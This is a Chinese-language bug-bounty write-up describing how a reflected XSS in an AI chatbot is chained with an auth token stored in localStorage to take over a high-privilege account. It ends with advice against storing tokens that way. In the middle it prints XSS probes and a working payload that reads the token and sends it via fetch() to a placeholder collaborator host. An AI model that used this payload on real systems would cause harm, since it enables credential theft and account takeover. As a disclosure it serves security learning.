当时我正在测试一个AI聊天机器人,并向其发送了常规的XSS测试载荷:
<h1>hello</h1><i style="color:red">hello</i><a href="https://google.com">Hello</a><img src=x onerror=alert(document.domain)>
这些载荷均成功执行。


我的第一反应是发现了XSS漏洞,但很快意识到这只是一个反射型跨站脚本攻击(RXSS)。在许多漏洞赏金计划中,反射型XSS常被视为低危或中危漏洞,对应的赏金也相对有限。
正当我准备结束测试时,一个想法促使我进行更深入的探索。
我的思路是:即便这是一个反射型XSS,但如果能结合其他弱点,或许能提升其危害。我联想到了身份验证令牌。现代Web应用通常使用Bearer令牌进行API认证,并常将其存储在浏览器的localStorage、sessionStorage或Cookie中。
我打开了浏览器的开发者工具进行检查。在网络请求中,我看到了标准的认证标头:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
接着,我检查了应用存储。在开发者工具的“应用程序”选项卡下,我发现了一个关键的安全问题:身份验证令牌被直接存储在localStorage中。
localStorage.getItem('sb-jlmhsrfinffrgxcfkycl-auth-token')
这是一个严重的安全隐患。将认证令牌存储在localStorage意味着任何在页面上下文中执行的JavaScript代码(包括通过XSS注入的恶意代码)都能读取它。
至此,一个“乏味”的反射型XSS漏洞的潜在危害被彻底改变。攻击链条变得清晰:XSS + localStorage中的令牌 = 账户接管。
我精心设计了攻击载荷:
<img src=x onerror=" var token = localStorage.getItem('sb-jlmhsrfinffrgxcfkycl-auth-token'); if(token){ fetch('https://YOUR-BURP-COLLABORATOR.com/steal?token=' + encodeURIComponent(token)) }">
这个脚本会在执行时,从localStorage中读取令牌,并将其外传到攻击者控制的服务器。
我配置好Burp Collaborator服务器以接收数据,更新载荷中的URL,并发送了包含该载荷的消息。
大约30分钟后,我的Burp Collaborator收到了请求,其中包含了被窃取的JWT令牌。
GET /steal?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOi...
通过在线工具对JWT令牌进行解码分析后,我发现该令牌属于一个高权限的内部团队账户。进一步信息确认,该账户权限极高,等同于完全控制了相关系统。
完整的漏洞利用链如下:
- 反射型XSS触发:攻击载荷被提交并在特定上下文(如内部管理界面)中反射执行。
- 不安全的令牌存储:身份验证令牌被存储在无保护的
localStorage中,而非更安全的HttpOnly Cookie。
- 令牌窃取:通过XSS执行的恶意JavaScript代码成功读取了令牌。
- 高权限受害者:查看并触发该XSS的会话属于拥有顶级权限的用户。
- 完全账户接管:攻击者利用窃取的令牌可完全 impersonate(冒充)该用户。
许多开发者倾向于将令牌存储在localStorage中,原因在于其易于实现和跨标签页访问的特性。然而,这带来了巨大的安全风险:
- 易受XSS攻击:任何成功的XSS都能直接窃取令牌。
- 持久化存在:令牌在浏览器关闭后依然存在,增加了暴露窗口。
- 缺乏内置保护:不像HttpOnly Cookie,无法阻止客户端JavaScript的访问。
这个案例表明,一个最初被评估为低危的反射型XSS漏洞,在与不安全的客户端存储实践相结合时,可能升级为导致高权限账户完全被接管的严重安全事件。
|